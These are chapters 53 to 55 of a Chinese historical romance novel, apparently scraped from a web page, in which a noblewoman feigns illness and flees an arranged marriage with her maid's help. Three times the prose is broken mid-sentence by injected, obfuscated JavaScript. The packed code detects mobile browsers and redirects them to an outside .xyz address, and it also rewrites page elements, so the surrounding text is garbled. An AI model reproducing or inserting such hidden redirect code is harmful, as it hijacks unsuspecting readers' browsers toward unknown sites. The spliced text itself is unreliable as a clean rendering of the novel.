归梦正欲打起毡帘进屋,却见母亲携着几名丫鬟缓缓朝她这里而来。 她驻足,垂首低低道:“母亲。” 方才那一幕谢氏正看在眼里,她微笑道:“这件狐裘可是不称意吗?” 归梦不置可否。 谢氏伸手自李嬷嬷手中取过那件大氅,披在归梦肩头左右端详一番,满意道:“挺合适,很衬你的肤色。”说完未等归梦说话,便扬了扬手,招来身后一名丫鬟。 归梦一瞧之下,不觉惊喜道:“丹娥?” 谢氏柔声道:“为娘知道你近日不思饮食,睡不踏实,便让丹娥陪着你吧。这丫头在厨房这些日子,想来也得了教训了。”顿了顿,又道:“待会儿为娘亲自下厨为你做一碗寿面,今日总要高高兴兴的。” 寿面?归梦动容道:“今日是……” “傻孩子,连你自个儿的生辰都忘了?” 李嬷嬷满面堆笑,走到一旁领着一众丫鬟仆妇躬身行礼,齐声道:“祝女公子芳龄永继,岁岁安乐!” 归梦望着母亲的笑容,以及一众祝贺的下人,勉强笑笑,示意他们不必多礼。 谢氏含笑道:“我已吩咐了厨房,今日做的都是你爱吃的菜。晚些你父亲也会来陪你一起用膳。今年便从简,待你明年及笄定是要大操大办的。”顿了顿,又道:“祖家已来人回过纳吉的结果,现已定了二月初五来纳征……” 归梦原本还因丹娥回来、父母要陪自己过生辰而欢喜,闻言笑容瞬时僵在唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753704|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边。肩头的狐皮大氅愈发沉重了,压得她胸口憋闷。 谢氏伸手一握归梦的指尖,怪道:“手怎地这样冷?丹娥,快扶姑娘进去。” 归梦手里虽塞着暖手炉,却半分也暖和不起来。 母亲呵母亲,您可知这华贵的皮裘、称心的夫婿都不是女儿想要的。 这样的父母之爱,便如一道枷锁紧紧地锁住了我。若你以为薄施恩惠,让丹娥回到我身边,抑或是你与父亲短暂的陪伴,便可让我死心塌地地等待成婚,那您就错了…… 这十几年来,她早已恣意任性惯了。以后,也再难改了。 归梦与丹娥许久不见,拉着她坐下说话。李嬷嬷很是乖觉,自出了暖阁去。 “丹娥,对不住,连累你受苦了。” 她看着丹娥那原本白皙光滑的手,不过十几日,竟已红肿泛紫长起了冻疮,想是在厨房,双手经常泡在冷水中所致。 丹娥摇头哭道:“在厨房做活倒也没什么。只是可怜紫芽姊姊她……” 归梦取来药膏小心涂抹在她手指上。 “你放心,我不会忘了紫芽,无论她在哪,咱们三个的心始终在一处。” 这一夜,丹娥就睡在紫芽身侧。 归梦看着她熟睡的侧颜。从前有紫芽在,她总容易忽略了丹娥。若说紫芽稳重,像她的姊姊,丹娥稚气一些,便如她的妹妹一般。 合上双目,她忽然觉得好生疲倦。所求的不过是“愿得一心人,白首不相离”。可那个只看了一眼便占据了她的思想与生命,让她思念、向往、渴望到发疯的人,却是那样冷面冷心…… 一想到要放弃,她的心便如撕裂一般痛,痛得简直要活不下去。 十四年来,还不曾有什么人什么事如此牵动着她,仿佛这一生,这口气全凭他吊着。若失去他,便再无生活下去的气力。 丹娥回来,给沉寂的嘉宁阁添了些许欢声笑语。 她见归梦闷闷不乐,终日消沉,提议道:“外头雪已停了,梦娘不如去后院的梅花、竹叶上收些雪水回来烹茶。”说着便要找些器皿来。 归梦道:“也好,不过你的手受不得冻,我一个人就得了。” 丹娥从柜中翻出一个青瓷圆瓮,笑道:“手上的冻疮不妨事。雪地路滑,我跟梦娘一道去。” 二人当下说笑着起身,丹娥给归梦兜上白色羽缎斗篷的风帽,又取了手炉。 归梦见她忙里忙外,竟比从前细心妥帖不少,做起事来全不亚于紫芽,心下不由得又是感慨又是哀戚。 正要出门,便撞见李嬷嬷。 “雪停之后最是天寒。梦娘这是去哪?” 丹娥举起青瓷圆瓮回了话。李嬷嬷足下却寸步不动。 归梦蹙起眉,冷冷道:“难道如今我连这嘉宁阁都出不得了吗?是母亲命你把我当成囚犯,寸步不离地看管吗?若是如此,不如拿把锁将我锁了更是便宜!” 李嬷嬷见归梦动了真怒,连忙低头躬身,讪讪道:“梦娘说的哪里话?是晌午天衣阁的人要来给你量身……” 归梦打断道:“放心,我们去去就回,误不了!你留在此处,候着便是。”说完,自携着丹娥朝后院去了。 她气得面色酡红,胸膛兀自起伏不定,直走出去老远,才平复了心情。 丹娥觑着她的脸色,小声地说:“梦娘,你近来性子似乎焦躁不少……” 归梦苦涩一笑。何止是焦躁? 她心知丹娥想说的是她比之从前又易怒了不少。 从前她甚少对下人发火。她本是无拘无束的性子,如今却日日被拘着。哪里还能有好心情好脾性呢? 说话间听见一阵马嘶声。原来她们正经过后院的马厩。 归梦远远看见一个熟悉的身影正在马棚前喂马。 53. 皆辞去 “小陈。”归梦走到近前唤道。 赶车的小陈抬头,意外道:“女公子?” 他躬身行了一礼:“这马厩腌臢得很,仔细弄脏了您的衣袍。” “无妨。”归梦看了看马厩中的几匹马或卧或站,精神都有些不济,包括自己常骑的那一匹也是。 “这是怎么了?” 小陈愁眉道:“许是这两日太冷,这些马儿全都病恹恹的。连草料也吃得少了。” 归梦奇道:“怎是你在照顾这些马?” 小陈道:“喂马的老顾家中有事请了假,鲁管家便命我看顾几天。还好到了年下,出行也少了。不然若耽误了事,鲁管家非骂死我不可。” 归梦点了点头。看到小陈,她便想起他与紫芽一同随自己几次出入莳花楼赎锦瑟的事来了。 明明才过去几个月,可随着紫芽不在身边,随着她与明铮断了联系,这些事也仿佛成了前生旧事。 她在府中出不去,能有些事做也是好的。于是对小陈道:“你且等我一会儿,我晚些来看看这些马。” 丹娥捂嘴笑道:“梦娘,难不成你要给这些马儿诊脉医病吗?人和马儿可不一样呢!依我看,小陈你还是找个兽医来,或是等老顾回来,他经验老到定能处置。” 侯府后院中栽了一片竹林并几棵梅树。 疏影横斜,暗香浮动。 归梦与丹娥一路踏雪而来,又将梅花与竹叶上的积雪拨到瓮中收了起来,直冻得鼻尖微红,手脚冰凉。 二人却是笑意融融,兴致不减。 如此收了满满一瓮子雪,捧着有说有笑地并肩回了。 刚走到嘉宁阁前,便看见候在门口的桃枝。 “梦娘可回了,天衣阁的裁缝师傅已来了一会儿了,正在厅堂候着。”桃枝边说边打起毡帘让归梦入内。 归梦淡淡应了一声,由丹娥伺候着脱了羽缎斗篷,见桃枝仍立在原地,不觉有些心烦:“我这就量身,你可回去向母亲复命了。” 天衣阁的裁缝老师傅手脚利索,命一道同来的仆妇举着尺子,比划着几下便量好了尺寸,陪着笑道:“女公子近来清减不少,身量也更高挑了些。新衣包管在岁除之前做好,送到府上。”说着躬身作揖,收了物事便退了下去。 那仆妇低眉垂眼,静默地跟在裁缝师傅之后。 她经过归梦身旁,错身而过的瞬间,归梦察觉到掌心被塞入一团软软的东西。 她疑惑地抬起手掌打开,发现是一块零碎布料。正欲说话,却看见上面隐隐有字迹,不由得陡然一惊,立刻攥紧手掌,抬眸环顾。 桃枝早已离去,李嬷嬷送了天衣阁的师傅出去,只有丹娥在身侧。 丹娥见归梦举止慌张,怪道:“梦娘你怎么了?” 看来丹娥并未发现。 归梦放下心来:“无事,只是有些累了。” 她并非信不过丹娥,只是不能再将她牵连在内了。 岁序已云殚,春心不自安。 这一年的岁除便这么悄然过了。 元日,随着鸡鸣声响,归梦起床穿戴整齐。 元日的清晨,百官例来要着华服入宫,在太极殿内朝拜君王。 侯府门前爆竹连连,庭前也燃起草堆。 归梦按照惯例,出门前喝了椒柏酒,吃了盛着葱姜的“五辛盘”,身上携了“却鬼丸”,继而随着母亲去到后宫显阳殿参拜中宫皇后。 瑞雪飞扬,宫阙楼宇均被罩上了一层银白,远远望去,如同人间仙境。 显阳殿内炭火正旺,烘得一室暖意如春。 今日所有嫔妃公主以及各家士族贵女均在,可说是人最齐全的一次了。 归梦的眼光在人群中梭巡一圈,却不曾见着诗安。 她强撑着精神随在母亲身侧,应付完所有请安问礼之事后,便拣了个角落坐着。 放在桌上的一盘核桃粘被一只玉白丰润的手拉远了一些。 归梦抬眼看去,王如芝笑吟吟地瞥了她一眼,悠悠开口道:“听闻明公子辞了官。好可惜……原想着今日朝会,若是溜到太极殿好歹能瞧他两眼,现下竟也不能了……” 她说着拈起一块核桃粘送入口中,细细嚼了咽下。 “岑归梦,你看起来脸色不是很好。” 归梦淡淡饮了口茶:“我此刻没有心情,你最好莫要惹我。” “啧啧!我还当你有多喜欢他呢!”她嘲笑道:“瞧你这副样子,活像只斗败的公鸡。怎么,你从小到大都未被人拒绝过是吗?” 归梦默然不语。她不反驳,因为王如芝的话让她无可辩驳。 “如此也好,少了你这个对手,明公子迟早是我的。”王如织用帕子拭了拭手指上沾染的碎屑。 她竟是毫不避讳,快人快语。 归梦苦涩一笑:“也许我从来算不上是你的对手。你的对手另有其人。” “莫非你说的是云蔷?凭她也配?”王如芝唇角漫上一丝轻蔑:“她压根就不喜欢明公子,仅仅是为了与你相争罢了!” 归梦没想到王如芝竟看得如此分明,往日倒是小瞧她了。 王如芝今日似乎特别愿意与她聊天,自顾自道:“你当我为何蹉跎至今云英未嫁?说起来以我的家世,拜于我裙下的美男子也不少,只是个个都无真心。如明铮这般人才,这般出身,却不肯攀附高门的,那是打着灯笼也难再寻……” 她叹道:“俗话说‘烈女怕缠郎’,这烈郎呢,自是怕缠女。大不了就是放下身段死缠烂打……”她见归梦唇角弯弯,忽地住了口:“你笑什么?” 此时此地,归梦竟与王如芝这向来不对付的冤家生出同病相怜、惺惺相惜之感,甚至从她身上汲取了些许勇气与动力。 怎能不让人觉得世事奇幻呢? “那以后,我们各凭本事。”归梦认真道。 二人对视一笑,往日仇怨转瞬烟消云散。 人群中,云蔷着一身烟紫色云纹缕金裙裳,华美轻盈,行走间裙裾曳动,翩然生姿。 自从夏侯敏坐了太子妃之位,谢皇后逐渐放权与她协理六宫之事。 云蔷因与夏侯敏亲近,连带着在宫中的日子也好了起来。吃穿用度皆非从前可比。 云蔷偶一回眸,与归梦的目光相撞,冲她隐秘一笑。 王如芝恰也看到这一幕,她转过头凑近归梦,神秘道:“你恐怕还不知道,那首害你名声尽毁的谤诗是出自谁的手笔……” 归梦大震,满脸都写着“不是你吗”。 王如芝白她一眼,撇嘴道:“我便是再讨厌你,也不会作诗将你和明公子扯到一处……” 她还欲再说,云蔷却已款款走近,素手亲热地攀上王如芝的肩头:“王姊姊与归梦躲在这说什么悄悄话呢?也说给妹妹听听?” 归梦看着云蔷的如花笑靥,回想着王如芝方才暗示的话,只觉得云蔷娇艳的面容可怖起来…… 她霍然起身:“对不住,我身子不适,少陪了。” 这一日晨起,归梦便觉头晕,起身更衣时愈发觉着头昏脑胀,复又躺回了榻上养神。 李嬷嬷本要回了谢氏去请郎中,归梦却说不必小题大做,只命李嬷嬷铰了两块膏药来贴在额上。 丹娥也去折了后院几枝梅花来插瓶放在床头供归梦赏玩。 谢氏闻讯而来,坐在床边,伸手探了探归梦额头,叹道:“你素来身子骨不弱,这一年来怎地频繁害病……难道当真应了他说的……” “女儿只是身子倦怠,不妨事。”归梦清秀的脸庞有些苍白:“母亲想到什么了?” 谢氏幽幽道:“幼时你父亲请郭朴给你看了八字,说你这一生情路多舛,不宜过早婚配。为娘自是不信那方士玄言。现下看来……”她摇摇头又叹了一声。 归梦心头一震,这件事她竟是初次听闻。 情路多舛,可不是吗?这一年来,自从她爱上明铮,求之不得,寤寐思服,辗转反侧…… 丹娥在旁插口道:“梦娘生性活泼,如今整日价闷在屋子里吃不下饭,自然……”她觑着谢氏的脸色,把半句话咽回了肚里。 谢氏若有所思,替归梦拢了拢被子,温声道:“今个已是初七,外头雪停了两日了。街上商户也已开市。你若有什么想吃的想玩的,尽管说,为娘命人去采买了来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773129|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归梦疲倦笑笑:“倒是很想吃东市摊上的汤饼,只是那地方不易寻到。” 谢氏踌躇片刻,握了握归梦的手:“无妨,明日为娘带你一道去,顺便再去集古斋给你选些首饰。你现在插戴的也该换新式样了。” 入夜,归梦并不急着就寝,在西窗下点起烛火,于桌案上挥毫直书。 丹娥见烛火有些暗了,用小银剪子去剔亮烛芯。 她凑近看看:“好久不见梦娘写字,怎地这会儿想起来了?” 宣纸上满幅龙飞凤舞的字迹,全不似平日里工整娟秀的簪花小楷。 归梦已写完,将笔撂下,欣赏着自己的墨宝。 “一时兴起罢了。” 丹娥好奇道:“我虽识得几个字,可今日这草书却是看不懂的。” 归梦笑道:“无妨,我念给你听——”说着低声吟诵起来。 “泛彼柏舟,在彼中河。髧彼两髦,实维我仪。之死矢靡它。母也天只!不谅人只!泛彼柏舟,在彼河侧。髧彼两髦,实维我特。之死矢靡慝。母也天只!不谅人只!” 丹娥笑道:“梦娘念得很好听,可我不懂这首诗的意思。” 归梦沉默片刻,笑笑:“这是《诗三百》中的一篇,名为《柏舟》。讲的是……讲的是一名女子爱上了一个男子,可遭到了她母亲的反对。” 丹娥奇道:“那后来呢?” “后来?”归梦哑然失笑:“后来……便有了这首诗歌。好了,先晾着吧,让墨迹干透。”说着绕过桌案拂开珠帘,朝床榻走去:“明日还要出门,该歇下了。” 丹娥小声嘀咕:“我仿佛记得夫人从前多让梦娘你练习簪花小楷,说这草书写多了会移了性情……” 归梦恍若未闻,只是笑笑。 人的性情恐怕七分都是天生的,三分环境使然。并不是写什么字体、看什么书、学什么功课,便能轻易移了去的。 翌日晨起,归梦一点也不曾赖床,全不像平日那般贪恋温暖的被窝。 她任由丹娥手脚轻快地给她更衣、梳妆。 丹娥看着镜中的归梦,眼下似有一些乌青。 “梦娘昨夜没睡好吗?” 归梦淡淡应了一声:“许是想着今日可以出门,太过兴奋,故而难以入睡。” 丹娥用脂粉薄薄敷了一层在归梦面上,轻巧地遮掩住了那乌青。 到底是正值青春年少,稍一妆饰便容色照人。 丹娥拉开妆奁屉子挑拣着合适的发饰。归梦出声提醒道:“选一些金银器质的便好,正好今日去集古斋,有不鲜亮的重铸便是。” 丹娥听命行事,选了几样款式简单适配归梦今日所穿月白青葱色袄裙。 脚步声动,毡帘微掀。 谢氏打眼一看,梳妆镜前伊人静坐,极寻常的扁平髻上斜簪一双明珠金钗,耳上也是一对相衬的赤金缠珍珠坠子。气度高贵沉静,大方得体。 她颇有些讶然:“梦儿甚少打扮得这样华贵。你平日不是多喜欢白玉、碧玉的首饰吗?” 归梦淡淡笑着答道:“月有阴晴圆缺,何况人的喜好呢?” 谢氏颔首而笑,似乎对女儿的转变很是满意。 晨光金灿明朗,乃是一个大大的晴天。 路面的积冰早已融化,空气冷冽而清新。 归梦并未携丹娥出门,只让李嬷嬷与新来的翠芸陪着。 谢氏与丹娥对此均有些不解,归梦坚持称丹娥前些日子在厨房做活,身子尚未复原,这些日子又贴身服侍她,故而让她在家休息半日。 行至府门口,停着的是谢氏常乘的那辆翠幄青绸车,赶车的小陈早已套上马躬身候在一旁。 谢氏蹙眉道:“怎就一辆车?” 小陈低头哈着腰道:“这几日天寒,马厩里的马生了病,除了主君出行的四匹马,能用的也就这两匹……” 归梦上前一步,挽住谢氏的手臂:“母亲,既是这样,便让翠芸和桂叶留下好了。” 谢氏迟疑着点点头:“那也罢了,上车吧。” 如此,谢氏与归梦身边只留下桃枝与李嬷嬷,四人被搀扶着上了车,缓缓向市集而去。 54. 从君行 归梦坐在车内,偷偷掀起车帘的一角。 今日是初八。 家家户户门上悬挂着的蒲苇绳和桃符已掉落不少。 繁华的朱雀大街到处是脚步匆匆的百姓,叫卖声、讨价还价声……道路两侧挤满了各式摊贩,预备大开新年利市。 马车的速度极缓,归梦在车中颇有些不耐,央着要下车。谢氏想着再走几步路也到集古斋了,便允了,只命归梦戴上帏帽。 归梦下车才行了两步,忽而一只脏兮兮捧着破碗的手伸到她面前。 “好心的女贵人,女菩萨,赏口饭吃吧……” 归梦素来心善,也不顾李嬷嬷的阻拦,从荷包中掏出一块碎银子放入那乞丐碗中。 一旁驾车的小陈瞥见,急道:“给不得啊!” “啊?”归梦尚未反应过来,只听面前那乞丐得了银子爆发出一声惊呼,随后不知从哪冒出来许许多多的乞丐,纷涌而上,一叠声地作揖索要钱财。 李嬷嬷大急,生怕这群人浑水摸鱼误伤了归梦,口中不住厉声呵斥,然而架不住人多拥挤,人流瞬间将她与归梦冲散。 谢氏与桃枝见状也是心急如焚,无奈被裹在人群中动弹不得。 也不知是谁甩手朝天撒了一把铜子,铜子落地丁零作响,引得乞丐们竞相低头捡钱。 混乱中,归梦的手腕忽然被人牢牢攥住,耳旁传来熟悉的声音:“快跟我走!”那人紧紧拽着她,生怕弄丢了,硬是拨开人群,轻车熟路地钻进了一条人烟稀少的小巷。 这人掌心柔腻,浑不似男子的手。 归梦好奇心起,硬是驻足停了下来。她一把摘下劳什子的帏帽,待看清眼前人的面容,不禁惊喜叫道:“紫芽!” 紫芽一身清爽利落的男装,虽然才只分别了不到一月,却像许久没见似的。再次相见,二人抱在一处,忍不住落下泪来。 “来不及耽搁了。”紫芽松开归梦,扭头四下看看有无人经过。 “梦娘赶紧换上男子的外袍,拆了发髻,随我出城去。”说着摊开一个包袱,取出一件男子的衣袍。 归梦一看,这本就是她的男装,那一夜她放走紫芽之时,随手拿了几件男装放在包袱中,谁料今日,竟真的派上用场了。 她迅速乔装好,将换下的裙袄和首饰一应装到包袱中。 归梦心下迷茫,全依着紫芽的安排。二人先去一家客栈取了马。经过西市时,她动心起念,说道:“我想……” 紫芽看出她的心思,摇头道:“不成!眼下必须即刻出城,迟了,就来不及了!梦娘你放心,我已探问过,明公子暂时还未离开建康。” 二人行至西明门,远远便望见守城士兵正在一一盘查出城人员。 归梦随在紫芽身旁,混在人群队伍中,不由得紧张起来。往日,她都是坐在马车里,由车夫出示侯府的腰牌,所到之处无不畅通无阻。 可此时,她只是个平头百姓,恐怕免不了一番刁难盘问。 紫芽压低声安慰道:“如今新年刚过,又赶上流民猖獗,自然是查得严密了些……不过咱们是出城,总归要比入城容易。” 正说着,已轮到她们了。 守门士兵大声喝问:“出城做什么?” 紫芽粗着嗓子赔着笑道:“回乡探亲。” “家乡在哪?” 紫芽一时踌躇答不上来,归梦见状赶紧出声道:“扬州。” 那士兵不耐烦地挥挥手,示意二人可以走了。 二人松了口气,牵着马快步便要出城。 边上一名士兵眼尖,他见归梦始终低着头,一副心虚的样子,手上还牢牢抱着一个包裹,复又伸手一拦:“站住,包袱里是什么?打开看看!” 归梦与紫芽对视一眼。包袱里是她换下的女装与首饰,若是打开,那便什么都完了! 那士兵心下见疑,不住催促。归梦硬着头皮,慢慢吞吞地解开包袱上的结。 当是时,忽有一骑快马从不远处奔来,马上之人掏出一枚令牌道:“城门校尉听令,马上封锁城门!今日不得再有百姓进出。” 几名士兵立刻上前,拱手问道:“敢问出了何事?” 马上之人答道:“城中丢了贵人。朱雀门、宣阳门已封,我还要去其他门送信!” 紫芽闻言方寸大乱,不知如何是好。归梦眼见那几名士兵的注意力全在送信人的身上,并未注意她们,当机立断,将包裹系在背上,悄声道:“快上马!” 二人纵身上马,夹起马肚子便冲出城门,也不管身后是否有人在呼喊,是否会追赶上来。只是逃命般地向前奔去。耳旁风声呼呼而过,冷风刮得二人嫩脸生疼。 直到驰出很远,确定后方没有追兵,她们才松了口气,放缓了速度。 紫芽拍着胸口,心有余悸道:“方才真是吓死我了……若是被抓住,那可真是功亏一篑!郭先生当真神机妙算,什么都给他料到了!” “师傅?” “是啊。不然我怎有那么大本事能把你带出来?也是他告诉我,一救出你便得立刻出城。” 紫芽道:“那夜我离开侯府,当即换上男装找了个小客店休息了一晚,次日我便依照你的吩咐,去栖霞山找郭师傅。哪知他竟不在。我足等了三日他才归来。一见到他我便将你留在包袱中的信拿与他看了。” 归梦问:“他怎么说?” “他看了信只说‘这丫头,太也任性胡闹!’可你信中说,他若置之不理,你唯有一死,于是他思来想去,只能定了个计策,让我先把你从家中解救出来,再做打算。”紫芽随即把郭朴安排的计策原原本本地说了出来。 原来,那日给归梦送信的天衣阁的仆妇,以及今日乞讨的乞丐都是郭朴事先安排好的。紫芽只在一旁,待归梦的马车出现,便让乞丐拦车,乞讨、围人,她再以撒钱为号,便可趁乱带走归梦。 归梦叹道:“看来府中的马匹忽然病恹恹的,也是师傅他老人家的手笔了。只为了增添一分我今日脱身的胜算。” 二人叙叙说着别情,不知不觉已到了栖霞山脚下。上一次来,还是三月里。彼时翠绿的竹叶,此刻业已枯黄。 满林枯黄落叶飞舞,平添萧索之意。 归梦走进郭朴的茅屋,却不见其人。 “师傅呢?” “郭师傅把这茅屋让给我住,他昨日特地来告知我定下了这个计策,说让我救出你后,便在此处等他,他自会来见你。” 归梦点点头。茅屋十分狭小简陋,仅放置着一张竹子堆着稻草搭成的床,还有一张竹桌并竹凳。除此之外,只有几个碗碟,再无多余家什了。 归梦问道:“你这些日子都一个人住在这里?” “是啊,我先前从城中买了一些干粮来的。要不就生火,在这林中挖一些番薯烤着吃。”紫芽说着,一拍脑袋:“哎呀,今日进城我竟忘记再买些干粮了。这屋里的干粮都吃完了。梦娘,都怪我……” 归梦笑着坐到稻草上,伸了个懒腰:“有什么好怪你的。你不是说还可以挖番薯来吃。再说了,左不过就一个晚上,饿着也无妨。大不了明日再进城去大吃一顿就好了。” “你这丫头,还妄想着明日能进城?”郭朴低浑的声音在竹屋门前响起。 归梦立刻惊喜地跳起来:“师傅!”亲亲热热地上前挽住郭朴的胳膊。 郭朴低头看着归梦略显散乱的秀发,微笑道:“许久不见,你一找我就给我出了这么大的难题。” 归梦扁了扁嘴:“事已至此,还能如何?您老人家总不能见死不救吧?” 郭朴轻轻挣开她的手,轻撩衣袍端坐在竹凳上,正色道:“为师问你,你可想清楚了?” 归梦低头咬着嘴唇思忖片刻,复又抬眸直视着郭朴道:“徒儿想清楚了。人生在世,若不能纵情恣意,爱我所爱。那不如死了算了!总之,要我老老实实回家听从父母之命嫁给我不喜欢的人,绝不可能!” “那倒是可惜了……”郭朴叹道:“这祖遐少年英雄,可堪与你匹配。你这个性子,合该找个能管得住你的夫君。不过……”他话锋一转:“你看上谁不好,偏看上明铮那小子,真是自讨苦吃!” 归梦虽知师傅说的是实情,但仍不服气,撅嘴不乐。 不对啊……她在信中只是向师傅求救,只字未提明铮。 她奇道:“师傅,你怎知我与明铮的事?”她扭头看向紫芽,紫芽慌忙摆手表示自己什么也没说。 郭朴横她一眼:“为师年纪虽大一些还不至于耳聋昏聩,前些日子虽不在建康,可你的事闹得满城皆知。侯爷夫妇也早已托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“不光是为了他!更是为了我自己!”归梦大声打断紫芽,缓缓道:“我自幼便生在锦绣堆富贵乡中。从未见过外面的世界。我不愿一生困守在高门大宅之中,烹茶、调香、绣花……我想要自由!我不喜欢掌家,不喜欢宫廷,我不愿日日在门户中处置零头琐事,更不愿同那些贵族戏耍清谈附庸风雅!我想去看四海辽阔,想见识天高地厚,我想……”她情绪激动,喉头哽住,一时说不下去了。 “好!“郭朴起身,抖了抖衣袍,爽快道:“既然你意已决,为师这就入城去。” “您是要去……” 郭朴笑道:“我便是不上门,侯爷也会来寻我。如今这建康城只怕已被你父母翻了个底朝天了。索性我替你想个法子,暂时稳住他们。你可切记,万万不可进城。” 归梦急道:“可是……可是……” 郭朴睨她一眼:“放心,那小子丢不了。你与紫芽也不可在此长留,明晚为师会再来看你,后日一早你便可动身启程。” 归梦随郭朴走出茅屋,仍是担忧道:“师傅,城门都封了。您还能入城吗?会不会入了便出不来了?” 郭朴一笑:“傻徒儿,你瞧这是何物?”说着自袖中取出一块乌金刻字的腰牌。 “桓?”归梦伸手接过细看,腰牌正中刻着一个大大的“桓”字。 入手沉甸甸的颇有份量。篆刻精巧,乃是赤铜混了乌金做成的。小小一面腰牌,便价值不菲。她讶然道:“这是桓府的腰牌。您怎么会有?” “桓超想招为师为入幕之宾,赠了这面腰牌予我。用它来狐假虎威,城门自是出入自如。” 归梦双手递还回去:“这桓超残暴无道,狼子野心,师傅还是勿要与其走得太近了。” 郭朴的目光掠过天边的流云。“莫说入幕之宾,便是封侯拜相,又岂在为师心中?我去了,你们两个小丫头万事小心。” 说罢转身,大踏着步子而去。 恰逢一阵风过,吹得那满林竹叶沙沙作响。 西风卷起无数淡黄竹叶,郭朴昂首阔步,纵声大笑:“朱门何足荣?未若托蓬莱……” 夕阳如火,给他周身镀上一层淡淡光辉。他且歌且舞,歌声被远处瀑布飞溅声激荡得益发清亮,惊起林中鸟雀几许。 暮光洒满栖霞山头,归梦与紫芽并肩立在茅屋前,看着那人影与笑声渐远渐低,不由得彼此挨得更紧。 示情卷完 55. 返自然 这一夜北风呼啸。山中奇寒无比。 茅屋中全无炭火。窄小的竹床上,归梦与紫芽蜷缩着紧紧依偎在一起,用彼此的体温取暖。 归梦不敢想象这些日紫芽独自一人在这山中是如何挨过来的。听着屋外呼啸的风声,她不无歉意道:“紫芽,对不住。若不是因着我,你也不至于在此受苦。” 紫芽伸手替归梦紧了紧被角,叹道:“梦娘说的哪里话?那日你给我的包袱中的金银,足够我下半生用的了。还有一件能御寒的灰鼠皮,再加上郭先生这里还有一条半新不旧的棉絮,冻不着我的。” 归梦睡不着,索性坐起身来。她将双腿蜷起,抱着膝盖幽幽道:“往日的新年我们都是一同过的……在嘉宁阁里开心地剪窗花、戏樗蒲、吃点心、写对联……如今却躲在这山中茅屋里。天寒地冻,饥肠辘辘……” 紫芽不语,半晌才道:“我是没关系的,可梦娘你……本不必吃这些苦头。” “谁说的?我们都是一样的人。大约我是享福享多了,所以非要寻些苦头来吃。可我的选择不能总连累你。我要走的路还很长,往后也许会遇到更难的处境。其实……你可以拿着钱去买一处居所自己生活,或是我引荐你去表哥的庄园里过活……” “不!”紫芽慌忙道:“紫芽当然要跟着梦娘。虽说我已不再是侯府的丫鬟了,但我始终要随在梦娘身边,至少可以照顾你陪着你。荆州路远迢迢,两个人总好过一个人,不是吗?” 归梦无言点头,笑着拭去眼角一点泪花:“好!后日便要出发了。不如我们来整理一下家当吧。前路未卜,总要备好行装才是。”说着便起身拿过包袱打开一一清点。 她给紫芽的包袱中有一个装了金银的钱袋、几根素簪,紫芽的一套裙装、一套男装以及她的一套男装。因是临时起意,准备不够充分,小小的包袱也装不下太多衣物。她当时是存了万一的指望,盼着能与紫芽一道逃走,故而在包袱中也给自己准备了一套男装。 那日天衣阁的仆妇塞给她的布条上写着“初八务须设法出门”,她便刻意装病惹得母亲心软。待到今日出门之时刻意多佩金器,为的便是将这些首饰当作路资之用。 她数了数,一双赤金明珠钗、一对赤金缠丝珠耳坠,再加上腕上一对素金绞丝手镯。若送去典当至少能换百两银或是十万钱。只是眼下进不了城,恐怕只能到下一个城镇再作计较了。 现下当务之急是采买衣物,冬日里虽少汗,可女子生性爱洁,总不能就两套衣物来回换。 她想了想又觉可笑。她不喜掌家,不愿理账,可是出门万事难,缺衣少食的,到头来仍免不了精打细算。 如此费心思量着,二人不知不觉在困倦中沉沉睡去。 归梦醒来之时,翻身不见紫芽,便慌忙披了狐裘起身,推开门,发觉天光早已大亮。 正在门口忙活着的紫芽扭头道:“醒了?快来吃茶。”说着从釜中舀了一勺茶汤放在盏中递了过来。 泥炉上的铁釜散发着袅袅白烟。 紫芽用扇子轻扇着炉火:“郭先生这茅屋中什么都缺,没想到竟还有一套茶具。没有炭火,只能捡一些树枝来生火了。” 归梦揉了揉眼睛,低头啜了口热茶汤。她品不出是何茶叶,只觉得这口热茶汤比以往喝过的许多名贵茶叶泡出的茶水都要香甜。 “想不到离开侯府,仍是要你来照顾我。”她不甘地卷了卷袖子:“我来帮你。” 紫芽慌忙拦住:“不必忙啦!已然好了。你看这儿!”她用树枝在火炉下拨拉几下,拨出两块烤得焦黑的物事。 一阵诱人的香气扑面而来。 归梦喜道:“你何时挖的番薯?”闻到香气,她腹中顿时雷鸣大作,也顾不得烫,伸手就去撕那番薯的外皮,直烫得缩回手连连跳脚。 紫芽笑着用树枝小心地叉起番薯,直吹得不那么烫了,才递给归梦。 “如今天黑的越来越早,这里又无灯火。是以昨夜只能委屈梦娘饿着肚子。今早天明后我便起床去挖来了。还剩两个,够我们今日吃的了。” 归梦咬了一口金黄滚烫的番薯肉,只觉这甘甜滋味无与伦比。她叹道:“好吃!宫中宴席上的牛乳蒸羊羔都不及这烤番薯美味!” 